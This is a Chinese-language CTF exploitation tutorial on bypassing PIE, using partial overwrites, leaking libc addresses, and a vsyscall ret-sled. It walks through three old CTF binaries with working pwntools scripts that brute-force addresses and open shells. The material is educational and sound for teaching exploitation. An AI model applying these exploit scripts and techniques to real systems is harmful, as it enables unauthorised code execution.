Linux Pwn入門教程系列分享如約而至,本套課程是作者依據i春秋Pwn入門課程中的技術分類,並結合近幾年賽事中出現的題目和文章整理出一份相對完整的Linux Pwn教程。
教程僅針對i386/amd64下的Linux Pwn常見的Pwn手法,如棧,堆,整數溢出,格式化字符串,條件競爭等進行介紹,所有環境都會封裝在Docker鏡像當中,並提供調試用的教學程序,來自歷年賽事的原題和帶有注釋的python腳本。
課程回顧>>
今天i春秋與大家分享的是Linux Pwn入門教程第八章:PIE與bypass思路,閱讀用時約20分鍾。
01、PIE簡介
在之前的文章中我們提到過ASLR這一防護技術。由於受到堆棧和libc地址可預測的困擾,ASLR被設計出來並得到廣泛應用。因為ASLR技術的出現,攻擊者在ROP或者向進程中寫數據時不得不先進行leak,或者干脆放棄堆棧,轉向bss或者其他地址固定的內存塊。
而PIE(position-independent executable, 地址無關可執行文件)技術就是一個針對代碼段.text, 數據段.*data,.bss等固定地址的一個防護技術。同ASLR一樣,應用了PIE的程序會在每次加載時都變換加載基址,從而使位於程序本身的gadget也失效。


沒有PIE保護的程序,每次加載的基址都是固定的,64位上一般是0x400000。



使用PIE保護的程序,可以看到兩次加載的基址是不一樣的。
顯然,PIE的應用給ROP技術造成了很大的影響。但是由於某些系統和缺陷,其他漏洞的存在和地址隨機化本身的問題,我們仍然有一些可以bypass PIE的手段。
下面我們介紹三種比較常見的手法。
02、partial write bypass PIE
partial write(部分寫入)就是一種利用了PIE技術缺陷的bypass技術。由於內存的頁載入機制,PIE的隨機化只能影響到單個內存頁。通常來說,一個內存頁大小為0x1000,這就意味着不管地址怎么變,某條指令的后12位,3個十六進制數的地址是始終不變的。因此通過覆蓋EIP的后8或16位 (按字節寫入,每字節8位)就可以快速爆破或者直接劫持EIP。
我們打開例子~/DefCamp CTF Finals 2016-SMS/SMS,這是一個64位程序,主要的功能函數dosms( )調用了存在漏洞的set_user和set_sms。

set_user可以讀取128字符的username,從set_sms中對strncpy的調用可以看出長度保存在a1+180,username首地址在a1+140,可以通過溢出修改strncpy長度造成溢出。


除此之外,程序還有一個后門函數frontdoor。

這個程序使用了PIE作為保護,我們不能確定frontdoor的具體地址,因此沒辦法直接通過溢出來跳轉到frontdoor( )。但是由於我們前面所述的原因,我們可以嘗試爆破。
通過查看frontdoor的匯編代碼我們知道其地址后三位是0x900。

但是由於我們的payload必須按字節寫入,每個字節是兩個十六進制數,所以我們必須輸入兩個字節。除去已知的0x900還需要爆破一個十六進制數。這個數只可能在0~0xf之間改變,因此爆破空間不大,可以接受。
在前面幾篇文章的訓練之后,我們很容易通過調試獲取溢出所需的padding並且寫出payload如下:
payload = 'a'*40 #padding
payload += '\xca' #修改長度為202,即payload的長度,這個參數會在其后的strncpy被使用
io.sendline(payload)
io.recv()
payload = 'a'*200 #padding
payload += '\x01\xa9' #frontdoor的地址后三位是0x900, +1跳過push rbp
io.sendline(payload)
我們看到注釋里用的不是0x900而是0x901,這是因為在實際調試中發現跳轉到frontdoor時會出錯。為了驗證payload的正確性,我們可以在調試時通過IDA修改內存地址修正爆破位的值,此處從略。
驗證完payload的正確性之后,我們還必須面臨一個問題,那就是如何自動化進行爆破。我們觸發一個錯誤的結果:

我們知道爆破失敗的話程序就會崩潰,此時io的連接會關閉,因此調用io.recv( )會觸發一個EOFError。由於這個特性,我們可以使用python的try...except...來捕獲這個錯誤並進行處理。
最終腳本如下:
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(arch = 'amd64', os = 'linux')
i = 0
while True:
i += 1
print i
io = remote("172.17.0.3", 10001)
io.recv()
payload = 'a'*40 #padding
payload += '\xca' #修改長度為202,即payload的長度,這個參數會在其后的strncpy被使用
io.sendline(payload)
io.recv()
payload = 'a'*200 #padding
payload += '\x01\xa9' #frontdoor的地址后三位是0x900, +1跳過push rbp
io.sendline(payload)
io.recv()
try:
io.recv(timeout = 1) #要么崩潰要么爆破成功,若崩潰io會關閉,io.recv()會觸發EOFError
except EOFError:
io.close()
continue
else:
sleep(0.1)
io.sendline('/bin/sh\x00')
sleep(0.1)
io.interactive() #沒有EOFError的話就是爆破成功,可以開shell
break
03、泄露地址bypass PIE
PIE影響的只是程序加載基址,並不會影響指令間的相對地址,因此我們如果能泄露出程序或libc的某些地址,我們就可以利用偏移來達到目的。
打開例子~/BCTF 2017-100levels/100levels,這是個64位的答題程序,要求輸入兩個數字,相加得到關卡總數,然后計算乘法。本題的棧溢出漏洞位於0xe43的question函數中。

read會讀入0x400個字符到棧上,而對應的局部變量buf顯然沒那么大,因此會造成棧溢出。由於使用了PIE,而且題目中雖然有system但是沒有后門,所以本題沒辦法使用partial write劫持RIP。但是我們在進行調試時發現了棧上有一些有趣的數據:

我們可以看到棧上有大量指向libc的地址。
那么這些地址我們要怎么leak出來呢,我們繼續看questions這個函數,又看到了一個有趣的東西。

這邊的printf輸出的參數位於棧上,通過rbp定位。
利用這兩個信息,我們很容易想到可以通過partial overwrite修改RBP的值指向這塊內存,從而泄露出這些地址,利用這些地址和libc就可以計算到one gadget RCE的地址從而棧溢出調用。我們使用以下腳本把RBP的最后兩個十六進制數改成0x5c,此時[rbp+var_34] = 0x5c-0x34=0x28,泄露位於這個位置的地址。
io = remote('172.17.0.3', 10001)
io.recvuntil("Choice:")
io.send('1')
io.recvuntil('?')
io.send('2')
io.recvuntil('?')
io.send('0')
io.recvuntil("Question: ")
question = io.recvuntil("=")[:-1]
answer = str(eval(question))
payload = answer.ljust(0x30, '\x00') + '\x5c'
io.send(payload)
io.recvuntil("Level ")
addr_l8 = int(io.recvuntil("Question: ")[:-10])
通過多次進行實驗,我們發現這段腳本的成功率有限,有時候能泄露出libc中的地址 。

有時候是start的首地址

有時候是無意義的數據

甚至會直接出錯

原因是[rbp+var_34]中的數據是0,idiv除法指令產生了除零錯誤。

此外,我們觀察泄露出來的addr_l8會發現有時候是正數有時候是負數。這是因為我們只能泄露出地址的低32位,低8個十六進制數。而這個數的最高位可能是0或者1,轉換成有符號整數就可能是正負兩種情況。因此我們需要對其進行處理:
if addr_l8 < 0:
addr_l8 = addr_l8 + 0x100000000
由於我們泄露出來的只是地址的低32位,拋去前面的4個0,我們還需要猜16位,即4個十六進制數。幸好根據實驗,程序加載地址似乎總是在0x000055XXXXXXXXXX-0x000056XXXXXXXXXX間徘徊,因此我們的爆破空間縮小到了0x100*2=512次。我們隨便選擇一個在這個區間的地址拼上去:
addr = addr_l8 + 0x7f8b00000000
為了加快成功率,顯然我們不可能只針對一種情況做處理,從上面的截圖上我們可以看到那塊空間中有好幾個不同的libc地址。

根據PIE的原理和缺陷,我們可以把后三位作為指紋,識別泄露出來的地址是哪個:
if hex(addr)[-2:] == '0b': #__IO_file_overflow+EB
libc_base = addr - 0x7c90b
elif hex(addr)[-2:] == 'd2': #puts+1B2
libc_base = addr - 0x70ad2
elif hex(addr)[-3:] == '600':#_IO_2_1_stdout_
libc_base = addr - 0x3c2600
elif hex(addr)[-3:] == '400':#_IO_file_jumps
libc_base = addr - 0x3be400
elif hex(addr)[-2:] == '83': #_IO_2_1_stdout_+83
libc_base = addr - 0x3c2683
elif hex(addr)[-2:] == '32': #_IO_do_write+C2
libc_base = addr - 0x7c370 - 0xc2
elif hex(addr)[-2:] == 'e7': #_IO_do_write+37
libc_base = addr - 0x7c370 - 0x37
最后我們針對泄露出來的無意義數據做一下處理,按照上一節的思路用try...except做一個自動化爆破,形成一個腳本。腳本具體內容見於附件,爆破成功如圖:

從圖中我們可以看到本次爆破總共嘗試了2633次,相比於上一節,次數還是比較多的。
此題在網上可以搜到其他利用泄露出來的返回地址做ROP的做法,由於題目中已經有system,感興趣的同學也可以試一下。此外,這個題目和下一節中的題目本質上是一樣的,因此也可以作為下一節的練習題。
04、使用vdso/vsyscall bypass PIE
我們知道,在開啟了ASLR的系統上運行PIE程序,就意味着所有的地址都是隨機化的。然而在某些版本的系統中這個結論並不成立,原因是存在着一個神奇的vsyscall。(由於vsyscall在一部分發行版本中的內核已經被裁減掉了,新版的kali也屬於其中之一。vsyscall在內核中實現,無法用docker模擬,因此任何與vsyscall相關的實驗都改成在Ubuntu 16.04上進行,同時libc中的偏移需要進行修正。)

如上面兩圖,我先后運行了四次cat /proc/self/maps查看本進程的內存,可以發現其他地址都在變,只有vsyscall一直穩定在0xffffffffff600000-0xffffffffff601000(這里使用cat /proc/[pid]/maps的方式而不是使用IDA是因為這塊內存對IDA不可見)那么這塊vsyscall是什么,又是干什么用的呢?
簡單地說,現代的Windows/*Unix操作系統都采用了分級保護的方式,內核代碼位於R0,用戶代碼位於R3。許多對硬件和內核等的操作都會被包裝成內核函數並提供一個接口給用戶層代碼調用,這個接口就是我們熟知的int 0x80/syscall+調用號模式。當我們每次調用這個接口時,為了保證數據的隔離,我們需要把當前的上下文(寄存器狀態等)保存好,然后切換到內核態運行內核函數,然后將內核函數返回的結果放置到對應的寄存器和內存中,再恢復上下文,切換到用戶模式。這一過程需要耗費一定的性能。
對於某些系統調用,如gettimeofday來說,由於他們經常被調用,如果每次被調用都要這么來回折騰一遍,開銷就會變成一個累贅。因此系統把幾個常用的無參內核調用從內核中映射到用戶空間中,這就是vsyscall,我們使用gdb可以把vsyscall dump出來加載到IDA中觀察。

可以看到這里面有三個系統調用,從上到下分別是gettimeofday, time和getcpu。由於是系統調用,都是通過syscall來實現,這就意味着我們似乎有一個可控的sysall了。
我們先來看一眼題目~/HITB GSEC CTF 2017-1000levels/1000levels。正如上一節所說,這個題目其實就是100levels的升級版,唯一的變動就是關卡總數增加到了1000.不管怎樣,我們先來試一下調用vsyscall中的syscall。我們選擇在開頭下個斷點,直接開啟調試后布置一下寄存器,並修改RIP到0xffffffffff600007,即第一個syscall所在地址。

執行時發現提示段錯誤。顯然,我們沒辦法直接利用vsyscall中的syscall指令。這是因為vsyscall執行時會進行檢查,如果不是從函數開頭執行的話就會出錯。因此,我們唯一的選擇就是利用0xffffffffff600000, 0xffffffffff600400,0xffffffffff600800這三個地址。那么這三個地址對於我們來說有什么用呢?
我們繼續分析題目,同100levels一樣,1000levels也有一個hint選項。

這個hint的功能是當全局變量show_hint非空時輸出system的地址。

由於缺乏任意修改地址的手段,我們並不能去修改show_hint,但是分析匯編代碼,我們發現不管show_hint是否為空,其實system的地址都會被放置在棧上。

由於這個題目給了libc,因此我們可以利用這個泄露的地址計算其他gadgets的偏移,或者直接使用one gadget RCE。但是還有一個問題:我們怎么泄露這個地址呢?
我們繼續看實現主要游戲功能的函數go,其實現和漏洞點與100levels一致。但是在上一節我們沒有提及的是其實詢問關卡的時候是可以輸入0或者負數的,而且從流程圖上看,正數和非正數的處理邏輯有一些有趣的不同。

可以看出,當輸入的關卡數為正數的時候,rbp+var_110處的內容會被關卡數取代,而輸入負數時則不會。那么這個var_110和system地址所在的var_110是不是一個東西呢?根據棧幀開辟的原理和main函數代碼的分析,由於兩次循環之間並沒有進出棧操作,main函數的rsp,也就是hint和go的rbp應該是不會改變的,而事實也確實如此。


繼續往下執行,發現第二次輸入的關卡數會被直接加到system上。

由於第二次的輸入也沒有限制正負數,因此我們可以通過輸入偏移值把system修改成one gadget rce。接下來我們需要做的是利用棧溢出控制RIP指向我們修改好的one gadget rce。
由於rbp_var_110里的值會被當成循環次數,當次數過大時會鎖定為999次,所以我們必須寫一個自動應答腳本來處理題目。根據100levels的腳本我們很容易構造腳本如下:
io = remote('127.0.0.1', 10001)
libc_base = -0x456a0 #減去system函數離libc開頭的偏移
one_gadget_base = 0x45526 #加上one gadget rce離libc開頭的偏移
vsyscall_gettimeofday = 0xffffffffff600000
def answer():
io.recvuntil('Question: ')
answer = eval(io.recvuntil(' = ')[:-3])
io.recvuntil('Answer:')
io.sendline(str(answer))
io.recvuntil('Choice:')
io.sendline('2') #讓system的地址進入棧中
io.recvuntil('Choice:')
io.sendline('1') #調用go()
io.recvuntil('How many levels?')
io.sendline('-1') #輸入的值必須小於0,防止覆蓋掉system的地址
io.recvuntil('Any more?')
io.sendline(str(libc_base+one_gadget_base)) #第二次輸入關卡的時候輸入偏移值,從而通過相加將system的地址變為one gadget rce的地址
for i in range(999): #循環答題
log.info(i)
answer()
計算發現0x38個字節后到rip,然而rip離one gadget rce還有三個地址長度。

我們要怎么讓程序運行到one gadget rce呢?有些讀者可能聽說過有一種技術叫做NOP slide,即寫shellcode的時候在前面用大量的NOP進行填充。由於NOP是一條不會改變上下文的空指令,因此執行完一堆NOP后執行shellcode對shellcode的功能並沒有影響,且可以增加地址猜測的范圍,從一定程度上對抗ASLR。這里我們同樣可以用ret指令不停地“滑”到下一條。由於程序開了PIE且沒辦法泄露內存空間中的地址,我們找不到一個可靠的ret指令所在地址。這個時候vsyscall就派上用場了。
我們前面知道,vsyscall中有三個無參系統調用,且只能從入口進入。我們選的這個one gadget rce要求rax = 0,查閱相關資料可知gettimeofday執行成功時返回值就是0,因此我們可以選擇調用三次vsyscall中的gettimeofday,利用執行完的ret“滑”過這片空間。
io.send('a'*0x38 + p64(vsyscall_gettimeofday)*3)

正如我們所見,盡管有一些限制,由於vsyscall地址的固定性,這個本來是為了節省開銷的設置造成了很大的隱患,因此vsyscall很快就被新的機制vdso所取代。與vsyscall不同的是,vdso的地址也是隨機化的,且其中的指令可以任意執行,不需要從入口開始,這就意味着我們可以利用vdso中的syscall來干一些壞事了。

由於64位下的vdso的地址隨機化位數達到了22bit,爆破空間相對較大,爆破還是需要一點時間的。但是,32位下的vdso需要爆破的字節數就很少了。同樣的,32位下的ASLR隨機化強度也相對較低,讀者可以使用附件中的題目~/NJCTF 2017-233/233進行實驗。

以上是今天的內容,大家看懂了嗎?后面我們將持續更新Linux Pwn入門教程的相關章節,希望大家及時關注。